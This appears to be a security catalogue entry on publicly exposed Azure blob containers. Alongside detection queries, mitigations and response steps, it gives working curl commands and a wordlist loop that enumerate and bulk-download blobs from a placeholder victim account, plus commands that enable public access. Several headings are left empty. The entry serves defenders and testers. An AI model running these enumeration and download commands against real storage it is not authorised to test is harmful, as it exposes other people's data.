MCADDF

[MISCONFIG-006]: Public Blob Storage Containers

Metadata

| Attribute | Details | |—|—| | Technique ID | MISCONFIG-006 | | MITRE ATT&CK v18.1 | Cloud Service Discovery (T1526) | | Tactic | Discovery / Initial Access / Collection | | Platforms | Azure Storage (Blob), Entra ID, Azure Resource Manager | | Severity | High (Critical if sensitive data is stored) | | Technique Status | ACTIVE | | Last Verified | 2026-01-10 | | Affected Versions | Azure Storage accounts created via Azure Resource Manager with Blob service (all regions) | | Patched In | N/A – design allows public access; mitigated via configuration (AllowBlobPublicAccess, container ACLs, private endpoints, and policy). | | Author | SERVTEPArtur Pchelnikau |


2. EXECUTIVE SUMMARY

Operational Risk

Compliance Mappings

| Framework | Control / ID | Description | |—|—|—| | CIS Azure Foundations | AZURE 3.x – Storage Encryption & Access | Requires restricting anonymous/public access to storage accounts and containers. | | DISA STIG | APP3550 / SRG-APP-000231 | Protects data at rest from unauthorized access; prohibits unauthenticated access to sensitive data stores. | | CISA SCuBA | Storage Hardening | Guidance to prevent anonymous/public data exposure in cloud object stores. | | NIST 800‑53 Rev5 | AC‑3, SC‑7, SC‑28 | Access enforcement, boundary protection, and protection of information at rest – public blobs violate least privilege and boundary controls. | | GDPR | Art. 25, Art. 32 | Data protection by design/default; public exposure of PII via blobs is a clear violation of appropriate technical measures. | | DORA | Art. 9 | ICT risk management – cloud data stores must be appropriately segmented and access‑controlled. | | NIS2 | Art. 21 | Requires robust technical and organizational measures to manage cyber risk, including secure configuration of storage. | | ISO 27001:2022 | A.8.12, A.8.24 | Data leakage prevention and protection of information stored in cloud services. | | ISO 27005 | “Public Cloud Data Bucket Exposure” | Classic risk scenario: misconfigured public storage exposing regulated or sensitive data. |


3. TECHNICAL PREREQUISITES

Supported Versions:


4. ENVIRONMENTAL RECONNAISSANCE

Management Station / PowerShell Reconnaissance

# List storage accounts and the AllowBlobPublicAccess flag
Connect-AzAccount
$subs = Get-AzSubscription

foreach ($sub in $subs) {
  Set-AzContext -SubscriptionId $sub.Id | Out-Null
  Get-AzStorageAccount | Select-Object @{n='Subscription';e={$sub.Name}},
                                 ResourceGroupName, StorageAccountName, AllowBlobPublicAccess
}

What to Look For:

Enumerate Container Public Access Levels:

$rg = "<ResourceGroup>"
$sa = "<StorageAccountName>"

$ctx = (Get-AzStorageAccount -ResourceGroupName $rg -Name $sa).Context
Get-AzStorageContainer -Context $ctx | Select-Object Name, PublicAccess

What to Look For:

Azure CLI / Bash Reconnaissance

# List storage accounts with AllowBlobPublicAccess
az storage account list --query "[].{name:name, resourceGroup:resourceGroup, allowBlobPublicAccess:allowBlobPublicAccess}" -o table

# For a given account, list containers and access levels
ACCOUNT="<storage-account>"
RG="<resource-group>"

az storage container list \
  --account-name $ACCOUNT \
  --auth-mode login \
  --query "[].{name:name, publicAccess:properties.publicAccess}" -o table

What to Look For:

External Reconnaissance (Attacker View)

# Anonymous listing attempt (only works if container public access = Container)
ACCOUNT="victimstorage"
CONTAINER="backups"

curl -s "https://${ACCOUNT}.blob.core.windows.net/${CONTAINER}?restype=container&comp=list"

# Anonymous blob download (works if Blob or Container level access)
BLOB="sensitive-config.json"
curl -O "https://${ACCOUNT}.blob.core.windows.net/${CONTAINER}/${BLOB}"

What to Look For:


5. DETAILED EXECUTION METHODS AND THEIRS STEPS

METHOD 1 – Exploiting a Public Blob Container for Data Exfiltration

Supported Versions: All Azure storage accounts that allow public access and have containers configured with Blob or Container access level.

Step 1: Discover Public Containers

Objective: Enumerate containers and identify those with public access.

Command (External, Unauthenticated):

# Assume attacker has guessed or discovered account and container names
curl -s "https://victimstorage.blob.core.windows.net/public?restype=container&comp=list" | xmllint --format -

Expected Output: XML document listing blobs within the public container if PublicAccess is Container. For Blob level, listing may fail but direct blob URLs still work.

What This Means:

OpSec & Evasion:

Step 2: Mass Download Blobs

Objective: Exfiltrate all accessible content.

ACCOUNT="victimstorage"
CONTAINER="public"

# Simple enumeration using a wordlist
for name in $(cat wordlist.txt); do
  url="https://${ACCOUNT}.blob.core.windows.net/${CONTAINER}/${name}"
  if curl -s --head "$url" | grep -q "200"; then
    echo "[+] Found: $url" | tee -a found_blobs.txt
    curl -s "$url" -o "downloaded_${name}"
  fi
done

Expected Output: Files written locally; HTTP 200 responses from blob service.

What This Means:

Troubleshooting:

References & Proofs:

METHOD 2 – Creating a Public Container via Misconfiguration

Supported Versions: Resource Manager‑based storage accounts with AllowBlobPublicAccess permitted.

Step 1: Enable Blob Public Access at the Account Level

Objective: Accidentally or intentionally configure storage account to allow container‑level public access.

Command (Azure CLI):

ACCOUNT="corpdata"
RG="rg-storage"

az storage account update \
  --name $ACCOUNT \
  --resource-group $RG \
  --allow-blob-public-access true

Step 2: Create a Public Container

az storage container create \
  --name public \
  --account-name $ACCOUNT \
  --auth-mode login \
  --public-access blob

Expected Output: Container public created; blobs uploaded into this container are now anonymously readable.

OpSec & Evasion:

Troubleshooting:

References:


6. ATTACK SIMULATION & VERIFICATION (Atomic Red Team)

There is no storage‑specific Atomic Red Team test for Azure public blob misconfiguration, but T1530 (Data from Cloud Storage Object) and T1526 (Cloud Service Discovery) tests cover similar patterns in S3.

Atomic Pattern (Conceptual)

Adaptation to Azure:

Cleanup Command:

az storage container delete --name public --account-name $ACCOUNT --auth-mode login

Reference: Atomic Red Team T1530 and Microsoft documentation on anonymous blob access.


7. TOOLS & COMMANDS REFERENCE

Azure PowerShell (Az.Storage)

Installation:

Install-Module Az.Storage -Scope CurrentUser
Import-Module Az.Storage

Usage (Check AllowBlobPublicAccess):

Get-AzStorageAccount | Select-Object StorageAccountName, AllowBlobPublicAccess

Azure CLI

Installation: Cross‑platform CLI for Azure.

Usage:

az storage account list --query "[].{name:name, allowBlobPublicAccess:allowBlobPublicAccess}" -o table

Script (One-Liner – Find Public Containers Across Subscriptions)

Connect-AzAccount
$subs = Get-AzSubscription

$results = foreach ($sub in $subs) {
  Set-AzContext -SubscriptionId $sub.Id | Out-Null
  Get-AzStorageAccount | ForEach-Object {
    $ctx = $_.Context
    Get-AzStorageContainer -Context $ctx | Where-Object { $_.PublicAccess -ne "Off" } |
      Select-Object @{n='Subscription';e={$sub.Name}},
                    @{n='StorageAccount';e={$_.CloudStorageAccount.StorageAccountName}},
                    Name, PublicAccess
  }
}
$results | Format-Table -AutoSize

8. SPLUNK DETECTION RULES

Rule 1: Storage Account or Container Public Access Enabled

Rule Configuration:

SPL Query:

index=azure_activity (operationName="Microsoft.Storage/storageAccounts/write" OR \
                      operationName="Microsoft.Storage/storageAccounts/blobServices/containers/write")
| eval props = spath(_raw, "properties")
| eval allowBlobPublicAccess = spath(props, "properties.allowBlobPublicAccess"),
       publicAccess = spath(props, "properties.publicAccess")
| search allowBlobPublicAccess="true" OR publicAccess!="None" AND publicAccess!="" 
| stats latest(_time) AS lastChange BY resourceId, allowBlobPublicAccess, publicAccess

What This Detects:

Manual Configuration Steps:

Source: Microsoft Defender for Cloud data security recommendations and community detection examples.

False Positive Analysis


9. MICROSOFT SENTINEL DETECTION

Query 1: New or Modified Public Blob Containers

Rule Configuration:

KQL Query:

AzureActivity
| where ResourceProviderValue == "MICROSOFT.STORAGE" 
| where OperationNameValue in ("MICROSOFT.STORAGE/STORAGEACCOUNTS/WRITE",
                               "MICROSOFT.STORAGE/STORAGEACCOUNTS/BLOBSERVICES/CONTAINERS/WRITE")
| extend props = parse_json(Properties)
| extend allowBlobPublicAccess = tostring(props.responseBody.properties.allowBlobPublicAccess),
         publicAccess = tostring(props.responseBody.properties.publicAccess)
| where allowBlobPublicAccess =~ "true" or publicAccess !~ "None" and publicAccess != ""
| project TimeGenerated, OperationNameValue, ResourceId, allowBlobPublicAccess, publicAccess, Caller

What This Detects:

Manual Configuration Steps:

Source: Microsoft Defender for Cloud recommendation “Storage account public access should be disallowed” and its associated policy.


10. WINDOWS EVENT LOG MONITORING

Not directly applicable; this misconfiguration occurs in Azure control plane. Windows event logs are only relevant insofar as they capture admin tooling used locally.

Suggested minimal monitoring:


11. SYSMON DETECTION PATTERNS

Optional; focus on detecting heavy use of storage‑management tooling from non‑admin systems.

<Sysmon schemaversion="4.82">
  <EventFiltering>
    <ProcessCreate onmatch="include">
      <Image condition="contains">az.exe</Image>
      <CommandLine condition="contains">storage account update</CommandLine>
      <CommandLine condition="contains">allow-blob-public-access</CommandLine>
    </ProcessCreate>
  </EventFiltering>
</Sysmon>

12. MICROSOFT DEFENDER FOR CLOUD

Detection Alerts

Alert Name: Storage account allows public blob access / Anomalous access to a storage account from the internet.

Manual Configuration Steps (Enable Defender for Storage):

  1. Azure Portal → Microsoft Defender for Cloud → Environment settings.
  2. Select subscription → under Defender plans, enable Defender for Storage.
  3. Review recommendations such as “Storage account public access should be disallowed”.

13. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Azure Storage access isn’t logged via the M365 unified audit log, but you can use:

For M365 workloads that use Blob as a backing store (e.g., certain services), correlate:


14. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

Connect-AzAccount
Get-AzSubscription | ForEach-Object {
  Set-AzContext -SubscriptionId $_.Id | Out-Null
  Get-AzStorageAccount | ForEach-Object {
    $sa = $_
    if ($sa.AllowBlobPublicAccess -ne $false) {
      Write-Output "[!] Public access still allowed on $($sa.StorageAccountName)"
    }
    $ctx = $sa.Context
    Get-AzStorageContainer -Context $ctx | Where-Object { $_.PublicAccess -ne "Off" } |
      ForEach-Object {
        Write-Output "[!] Container $($_.Name) on $($sa.StorageAccountName) is $($_.PublicAccess)"
      }
  }
}

Expected Output (If Secure):


15. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:
    • Immediately set storage account AllowBlobPublicAccess to false and set affected containers to Private.
  2. Collect Evidence:
    • Export access logs and Defender alerts for IR analysis.
  3. Remediate:
    • Rotate any secrets or keys found to be exposed in blobs.
    • Notify data protection officer if regulated data was exposed (GDPR/DORA/NIS2 implications).

Step Phase Technique Description
1 Discovery REC-CLOUD-005 – Azure Resource Graph enumeration Attacker discovers storage accounts and containers.
2 Discovery T1526 – Cloud Service Discovery Enumerates cloud storage services and configuration.
3 Current Step MISCONFIG-006 – Public Blob Storage Containers Misconfiguration exposes blob data to the internet.
4 Collection T1530 – Data from Cloud Storage Object Attacker downloads exposed blobs.
5 Impact DATA-EXFIL-XXX – Data disclosure Breach of confidentiality; regulatory reporting triggered.

17. REAL-WORLD EXAMPLES

Example 1: Public Cloud Storage Bucket Exposures (Cross‑Cloud Pattern)

Example 2: Misconfigured Azure Blob Containers Detected by CSPM Tools